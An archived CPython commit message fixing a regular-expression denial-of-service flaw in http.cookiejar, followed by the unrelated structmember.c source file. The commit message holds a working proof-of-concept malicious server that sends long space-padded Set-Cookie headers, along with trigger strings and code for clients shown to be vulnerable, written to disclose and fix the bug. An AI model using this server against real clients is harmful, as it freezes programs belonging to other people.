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Revision cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC, committed by GitHub on 22 November 2019, 14:42:13 UTC

The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  GH- Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  GH- Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  GH- Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  GH- Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)

Co-authored-by: bcaller <bcaller@users.noreply.github.com>
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Tip revision: cb6085138a845f8324adc011b65754acc2086cc0 authored by Miss Islington (bot) on 22 November 2019, 14:42:13 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: cb60851
structmember.c

/* Map C struct members to Python object attributes */

#include "Python.h"

#include "structmember.h"

PyObject *
PyMember_GetOne(const char *addr, PyMemberDef *l)
{
    PyObject *v;

    addr += l->offset;
    switch (l->type) {
    case T_BOOL:
        v = PyBool_FromLong(*(char*)addr);
        break;
    case T_BYTE:
        v = PyLong_FromLong(*(char*)addr);
        break;
    case T_UBYTE:
        v = PyLong_FromUnsignedLong(*(unsigned char*)addr);
        break;
    case T_SHORT:
        v = PyLong_FromLong(*(short*)addr);
        break;
    case T_USHORT:
        v = PyLong_FromUnsignedLong(*(unsigned short*)addr);
        break;
    case T_INT:
        v = PyLong_FromLong(*(int*)addr);
        break;
    case T_UINT:
        v = PyLong_FromUnsignedLong(*(unsigned int*)addr);
        break;
    case T_LONG:
        v = PyLong_FromLong(*(long*)addr);
        break;
    case T_ULONG:
        v = PyLong_FromUnsignedLong(*(unsigned long*)addr);
        break;
    case T_PYSSIZET:
        v = PyLong_FromSsize_t(*(Py_ssize_t*)addr);
        break;
    case T_FLOAT:
        v = PyFloat_FromDouble((double)*(float*)addr);
        break;
    case T_DOUBLE:
        v = PyFloat_FromDouble(*(double*)addr);
        break;
    case T_STRING:
        if (*(char**)addr == NULL) {
            Py_INCREF(Py_None);
            v = Py_None;
        }
        else
            v = PyUnicode_FromString(*(char**)addr);
        break;
    case T_STRING_INPLACE:
        v = PyUnicode_FromString((char*)addr);
        break;
    case T_CHAR:
        v = PyUnicode_FromStringAndSize((char*)addr, 1);
        break;
    case T_OBJECT:
        v = *(PyObject **)addr;
        if (v == NULL)
            v = Py_None;
        Py_INCREF(v);
        break;
    case T_OBJECT_EX:
        v = *(PyObject **)addr;
        if (v == NULL)
            PyErr_SetString(PyExc_AttributeError, l->name);
        Py_XINCREF(v);
        break;
    case T_LONGLONG:
        v = PyLong_FromLongLong(*(long long *)addr);
        break;
    case T_ULONGLONG:
        v = PyLong_FromUnsignedLongLong(*(unsigned long long *)addr);
        break;
    case T_NONE:
        v = Py_None;
        Py_INCREF(v);
        break;
    default:
        PyErr_SetString(PyExc_SystemError, "bad memberdescr type");
        v = NULL;
    }
    return v;
}

#define WARN(msg)                                               \
    do {                                                        \
    if (PyErr_WarnEx(PyExc_RuntimeWarning, msg, 1) < 0)         \
        return -1;                                              \
    } while (0)

int
PyMember_SetOne(char *addr, PyMemberDef *l, PyObject *v)
{
    PyObject *oldv;

    addr += l->offset;

    if ((l->flags & READONLY))
    {
        PyErr_SetString(PyExc_AttributeError, "readonly attribute");
        return -1;
    }
    if (v == NULL) {
        if (l->type == T_OBJECT_EX) {
            /* Check if the attribute is set. */
            if (*(PyObject **)addr == NULL) {
                PyErr_SetString(PyExc_AttributeError, l->name);
                return -1;
            }
        }
        else if (l->type != T_OBJECT) {
            PyErr_SetString(PyExc_TypeError,
                            "can't delete numeric/char attribute");
            return -1;
        }
    }
    switch (l->type) {
    case T_BOOL:{
        if (!PyBool_Check(v)) {
            PyErr_SetString(PyExc_TypeError,
                            "attribute value type must be bool");
            return -1;
        }
        if (v == Py_True)
            *(char*)addr = (char) 1;
        else
            *(char*)addr = (char) 0;
        break;
        }
    case T_BYTE:{
        long long_val = PyLong_AsLong(v);
        if ((long_val == -1) && PyErr_Occurred())
            return -1;
        *(char*)addr = (char)long_val;
        /* XXX: For compatibility, only warn about truncations
           for now. */
        if ((long_val > CHAR_MAX) || (long_val < CHAR_MIN))
            WARN("Truncation of value to char");
        break;
        }
    case T_UBYTE:{
        long long_val = PyLong_AsLong(v);
        if ((long_val == -1) && PyErr_Occurred())
            return -1;
        *(unsigned char*)addr = (unsigned char)long_val;
        if ((long_val > UCHAR_MAX) || (long_val < 0))
            WARN("Truncation of value to unsigned char");
        break;
        }
    case T_SHORT:{
        long long_val = PyLong_AsLong(v);
        if ((long_val == -1) && PyErr_Occurred())
            return -1;
        *(short*)addr = (short)long_val;
        if ((long_val > SHRT_MAX) || (long_val < SHRT_MIN))
            WARN("Truncation of value to short");
        break;
        }
    case T_USHORT:{
        long long_val = PyLong_AsLong(v);
        if ((long_val == -1) && PyErr_Occurred())
            return -1;
        *(unsigned short*)addr = (unsigned short)long_val;
        if ((long_val > USHRT_MAX) || (long_val < 0))
            WARN("Truncation of value to unsigned short");
        break;
        }
    case T_INT:{
        long long_val = PyLong_AsLong(v);
        if ((long_val == -1) && PyErr_Occurred())
            return -1;
        *(int *)addr = (int)long_val;
        if ((long_val > INT_MAX) || (long_val < INT_MIN))
            WARN("Truncation of value to int");
        break;
        }
    case T_UINT:{
        unsigned long ulong_val = PyLong_AsUnsignedLong(v);
        if ((ulong_val == (unsigned long)-1) && PyErr_Occurred()) {
            /* XXX: For compatibility, accept negative int values
               as well. */
            PyErr_Clear();
            ulong_val = PyLong_AsLong(v);
            if ((ulong_val == (unsigned long)-1) &&
                PyErr_Occurred())
                return -1;
            *(unsigned int *)addr = (unsigned int)ulong_val;
            WARN("Writing negative value into unsigned field");
        } else
            *(unsigned int *)addr = (unsigned int)ulong_val;
        if (ulong_val > UINT_MAX)
            WARN("Truncation of value to unsigned int");
        break;
        }
    case T_LONG:{
        *(long*)addr = PyLong_AsLong(v);
        if ((*(long*)addr == -1) && PyErr_Occurred())
            return -1;
        break;
        }
    case T_ULONG:{
        *(unsigned long*)addr = PyLong_AsUnsignedLong(v);
        if ((*(unsigned long*)addr == (unsigned long)-1)
            && PyErr_Occurred()) {
            /* XXX: For compatibility, accept negative int values
               as well. */
            PyErr_Clear();
            *(unsigned long*)addr = PyLong_AsLong(v);
            if ((*(unsigned long*)addr == (unsigned long)-1)
                && PyErr_Occurred())
                return -1;
            WARN("Writing negative value into unsigned field");
        }
        break;
        }
    case T_PYSSIZET:{
        *(Py_ssize_t*)addr = PyLong_AsSsize_t(v);
        if ((*(Py_ssize_t*)addr == (Py_ssize_t)-1)
            && PyErr_Occurred())
                        return -1;
        break;
        }
    case T_FLOAT:{
        double double_val = PyFloat_AsDouble(v);
        if ((double_val == -1) && PyErr_Occurred())
            return -1;
        *(float*)addr = (float)double_val;
        break;
        }
    case T_DOUBLE:
        *(double*)addr = PyFloat_AsDouble(v);
        if ((*(double*)addr == -1) && PyErr_Occurred())
            return -1;
        break;
    case T_OBJECT:
    case T_OBJECT_EX:
        Py_XINCREF(v);
        oldv = *(PyObject **)addr;
        *(PyObject **)addr = v;
        Py_XDECREF(oldv);
        break;
    case T_CHAR: {
        const char *string;
        Py_ssize_t len;

        string = PyUnicode_AsUTF8AndSize(v, &len);
        if (string == NULL || len != 1) {
            PyErr_BadArgument();
            return -1;
        }
        *(char*)addr = string[0];
        break;
        }
    case T_STRING:
    case T_STRING_INPLACE:
        PyErr_SetString(PyExc_TypeError, "readonly attribute");
        return -1;
    case T_LONGLONG:{
        long long value;
        *(long long*)addr = value = PyLong_AsLongLong(v);
        if ((value == -1) && PyErr_Occurred())
            return -1;
        break;
        }
    case T_ULONGLONG:{
        unsigned long long value;
        /* ??? PyLong_AsLongLong accepts an int, but PyLong_AsUnsignedLongLong
            doesn't ??? */
        if (PyLong_Check(v))
            *(unsigned long long*)addr = value = PyLong_AsUnsignedLongLong(v);
        else
            *(unsigned long long*)addr = value = PyLong_AsLong(v);
        if ((value == (unsigned long long)-1) && PyErr_Occurred())
            return -1;
        break;
        }
    default:
        PyErr_Format(PyExc_SystemError,
                     "bad memberdescr type for %s", l->name);
        return -1;
    }
    return 0;
}
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